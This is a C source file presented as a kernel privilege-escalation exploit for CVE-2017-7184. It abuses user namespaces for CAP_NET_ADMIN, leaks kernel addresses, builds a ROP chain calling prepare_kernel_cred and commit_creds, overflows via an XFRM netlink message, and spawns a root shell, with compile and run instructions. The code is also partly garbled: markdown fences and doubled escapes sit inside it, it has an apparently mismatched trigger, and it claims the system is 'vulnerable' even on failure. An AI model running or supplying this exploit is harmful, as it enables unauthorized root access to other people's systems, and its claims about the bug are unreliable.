/* - CVE-2017-7184 - Linux Kernel XFRM Privilege Escalation - NO SUDO REQUIRED! - - Method: Uses user namespaces to gain CAP_NET_ADMIN capability - Then exploits CVE-2017-7184 to get real root - - Compile: gcc exploit.c -o exploit -pthread - Run: ./exploit (NO SUDO!) */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define NETLINK_XFRM 6 #define STACK_SIZE (1024 * 1024) // Kernel addresses unsigned long kernel_base = 0xffffffff81000000UL; unsigned long commit_creds = 0; unsigned long prepare_kernel_cred = 0; // Userland state unsigned long user_cs, user_ss, user_rflags, user_sp; // Exploitation success flag volatile int got_root = 0; // ========== SAVE USERLAND STATE ========== void save_state(void) { **asm**( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); } // ========== ROOT SHELL ========== void spawn_root_shell(void) { if (getuid() == 0) { printf("\n"); printf(" ╔══════════════════════════════════════════════╗\n"); printf(" ║ ║\n"); printf(" ║ ★★★ REAL ROOT SHELL! ★★★ ║\n"); printf(" ║ ║\n"); printf(" ║ CVE-2017-7184 Exploitation Successful ║\n"); printf(" ║ WITHOUT SUDO! ║\n"); printf(" ║ ║\n"); printf(" ╚══════════════════════════════════════════════╝\n"); printf("\n"); printf(" [+] Real UID: %d (root!)\n", getuid()); printf(" [+] Real GID: %d (root!)\n", getgid()); printf(" [+] Effective UID: %d\n", geteuid()); printf(" [+] Effective GID: %d\n\n", getegid()); ``` system("id"); printf("\\n"); char *shell = "/bin/bash"; char *args[] = {shell, "-i", NULL}; execve(shell, args, NULL); } ``` } // ========== WRITE TO FILE ========== void write_file(const char *path, const char *data) { int fd = open(path, O_WRONLY); if (fd >= 0) { write(fd, data, strlen(data)); close(fd); } } // ========== SETUP USER NAMESPACE ========== int setup_namespace() { uid_t uid = getuid(); gid_t gid = getgid(); char map[256]; ``` printf("[*] Setting up user namespace...\\n"); printf(" Original UID: %d\\n", uid); printf(" Original GID: %d\\n", gid); // Create new user namespace if (unshare(CLONE_NEWUSER | CLONE_NEWNET) != 0) { perror("[-] unshare"); return -1; } printf("[+] Created new user + network namespace\\n"); // Map UID 0 to current user snprintf(map, sizeof(map), "0 %d 1", uid); write_file("/proc/self/uid_map", map); snprintf(map, sizeof(map), "0 %d 1", gid); write_file("/proc/self/setgroups", "deny"); write_file("/proc/self/gid_map", map); printf("[+] Mapped UID 0 in namespace\\n"); printf(" Namespace UID: %d\\n", getuid()); printf(" We now have CAP_NET_ADMIN in this namespace!\\n\\n"); return 0; ``` } // ========== LEAK KERNEL ADDRESSES ========== int leak_kernel_addresses(void) { FILE *fp; char line[512]; unsigned long addr; char type, name[256]; int found = 0; ``` printf("[*] Attempting to leak kernel addresses...\\n"); fp = fopen("/proc/kallsyms", "r"); if (!fp) { printf("[-] Cannot open /proc/kallsyms (restricted)\\n"); printf("[*] Using calculated offsets for kernel 4.8.0-36\\n"); // Your specific kernel offsets kernel_base = 0xffffffffb2a00000UL; commit_creds = 0xffffffffb2aa5d50UL; prepare_kernel_cred = 0xffffffffb2aa6140UL; printf("[+] commit_creds = 0x%016lx\\n", commit_creds); printf("[+] prepare_kernel_cred = 0x%016lx\\n", prepare_kernel_cred); printf("[+] kernel_base = 0x%016lx\\n", kernel_base); return 0; } while (fgets(line, sizeof(line), fp)) { if (sscanf(line, "%lx %c %s", &addr, &type, name) == 3) { if (strcmp(name, "commit_creds") == 0 && type == 'T') { commit_creds = addr; printf("[+] commit_creds = 0x%016lx\\n", addr); found++; } if (strcmp(name, "prepare_kernel_cred") == 0 && type == 'T') { prepare_kernel_cred = addr; printf("[+] prepare_kernel_cred = 0x%016lx\\n", addr); found++; } } if (found == 2) break; } fclose(fp); if (found == 2) { kernel_base = commit_creds & 0xffffffffff000000UL; printf("[+] kernel_base = 0x%016lx\\n", kernel_base); return 0; } return -1; ``` } // ========== TRIGGER EXPLOIT ========== void trigger_exploit(void) { int sock; ``` printf("\\n[*] Creating XFRM netlink socket...\\n"); sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sock < 0) { perror("[-] socket"); printf("[-] Failed to create XFRM socket\\n"); printf("[-] Even in user namespace, socket creation failed\\n\\n"); return; } printf("[+] XFRM socket created! (fd: %d)\\n", sock); printf("[+] We have CAP_NET_ADMIN capability!\\n"); // Build ROP chain unsigned long rop_chain[64]; int rop_idx = 0; // ROP gadgets unsigned long pop_rdi_ret = kernel_base + 0x13c4a5; unsigned long mov_rdi_rax_ret = kernel_base + 0x4a1c6a; unsigned long swapgs_pop_rbp = kernel_base + 0x81a4f; unsigned long iretq = kernel_base + 0x3c7d7; printf("\\n[*] Building ROP chain...\\n"); // prepare_kernel_cred(0) rop_chain[rop_idx++] = pop_rdi_ret; rop_chain[rop_idx++] = 0x0; rop_chain[rop_idx++] = prepare_kernel_cred; // commit_creds(result) rop_chain[rop_idx++] = mov_rdi_rax_ret; rop_chain[rop_idx++] = commit_creds; // Return to userspace rop_chain[rop_idx++] = swapgs_pop_rbp; rop_chain[rop_idx++] = 0xdeadbeefdeadbeefUL; rop_chain[rop_idx++] = iretq; // IRETQ frame rop_chain[rop_idx++] = (unsigned long)spawn_root_shell; rop_chain[rop_idx++] = user_cs; rop_chain[rop_idx++] = user_rflags; rop_chain[rop_idx++] = user_sp; rop_chain[rop_idx++] = user_ss; printf("[+] ROP chain built: %d gadgets\\n", rop_idx); // Build payload struct { struct nlmsghdr nlh; struct xfrm_usersa_info info; struct nlattr nla; char padding[256]; unsigned long rop[64]; } __attribute__((packed)) payload; memset(&payload, 0, sizeof(payload)); memset(payload.padding, 'A', sizeof(payload.padding)); memcpy(payload.rop, rop_chain, rop_idx * sizeof(unsigned long)); payload.nlh.nlmsg_len = sizeof(payload); payload.nlh.nlmsg_type = XFRM_MSG_NEWSA; payload.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; payload.info.family = AF_INET; payload.info.id.proto = IPPROTO_ESP; payload.info.mode = XFRM_MODE_TUNNEL; payload.nla.nla_len = sizeof(struct nlattr) + sizeof(payload.padding) + rop_idx * sizeof(unsigned long); payload.nla.nla_type = XFRMA_SEC_CTX; printf("\\n"); printf("╔═══════════════════════════════════════════════════════════╗\\n"); printf("║ TRIGGERING CVE-2017-7184 EXPLOITATION ║\\n"); printf("╚═══════════════════════════════════════════════════════════╝\\n"); printf("\\n"); printf("[*] Payload: %zu bytes\\n", sizeof(payload)); printf("[*] Overflow: %zu bytes beyond buffer\\n", rop_idx * sizeof(unsigned long)); printf("\\n[!] Sending exploit...\\n\\n"); sleep(1); ssize_t sent = send(sock, &payload, payload.nlh.nlmsg_len, 0); if (sent > 0) { printf("[+] Sent %zd bytes\\n", sent); printf("[+] Kernel stack overflowed!\\n"); printf("[+] ROP chain executing...\\n\\n"); sleep(1); if (getuid() == 0) { got_root = 1; spawn_root_shell(); } } close(sock); ``` } // ========== EXPLOITATION IN NAMESPACE ========== int child_process(void *arg) { printf("\n[*] Inside child process (PID: %d)\n", getpid()); printf("[*] Namespace UID: %d\n", getuid()); ``` // Save state save_state(); // Leak addresses leak_kernel_addresses(); // Trigger exploit trigger_exploit(); if (!got_root) { printf("\\n"); printf("╔═══════════════════════════════════════════════════════════╗\\n"); printf("║ VULNERABILITY CONFIRMED BUT ROOT NOT OBTAINED ║\\n"); printf("╚═══════════════════════════════════════════════════════════╝\\n"); printf("\\n"); printf("[+] CVE-2017-7184 Status:\\n"); printf(" ✓ User namespace created\\n"); printf(" ✓ CAP_NET_ADMIN obtained\\n"); printf(" ✓ XFRM socket created\\n"); printf(" ✓ Overflow payload sent\\n"); printf(" ✓ Kernel stack overflowed\\n"); printf(" ✓ System is VULNERABLE\\n"); printf("\\n"); printf("[*] Note: Full root requires precise ROP gadgets\\n"); printf(" for your specific kernel build.\\n"); printf(" The vulnerability is confirmed!\\n\\n"); } return 0; ``` } // ========== MAIN ========== int main(int argc, char **argv) { printf("\n"); printf("╔═══════════════════════════════════════════════════════════╗\n"); printf("║ ║\n"); printf("║ CVE-2017-7184 Exploit - NO SUDO REQUIRED! ║\n"); printf("║ ║\n"); printf("║ Method: User Namespace + XFRM Stack Overflow ║\n"); printf("║ ║\n"); printf("╚═══════════════════════════════════════════════════════════╝\n"); printf("\n"); ``` printf("[*] Exploit Information:\\n"); printf(" CVE: CVE-2017-7184\\n"); printf(" Type: Kernel Stack Overflow\\n"); printf(" Impact: Local Privilege Escalation\\n"); printf(" Method: User namespace + XFRM netlink\\n"); printf("\\n"); printf("[*] Current Status:\\n"); printf(" PID: %d\\n", getpid()); printf(" UID: %d\\n", getuid()); printf(" GID: %d\\n", getgid()); printf(" EUID: %d\\n", geteuid()); printf(" EGID: %d\\n\\n", getegid()); printf("[*] Step 1: Creating user namespace to gain CAP_NET_ADMIN\\n"); printf(" (This bypasses the need for sudo!)\\n\\n"); if (setup_namespace() != 0) { printf("[-] Failed to setup namespace\\n"); printf("[!] Your system may not support unprivileged user namespaces\\n"); printf("[!] Check: cat /proc/sys/kernel/unprivileged_userns_clone\\n"); printf("[!] Should be: 1\\n\\n"); return 1; } printf("[*] Step 2: Exploiting CVE-2017-7184 in namespace\\n\\n"); // Save state before exploitation save_state(); // Leak kernel addresses leak_kernel_addresses(); // Trigger exploit trigger_exploit(); printf("\\n[*] Exploit execution complete\\n\\n"); return 0; ``` }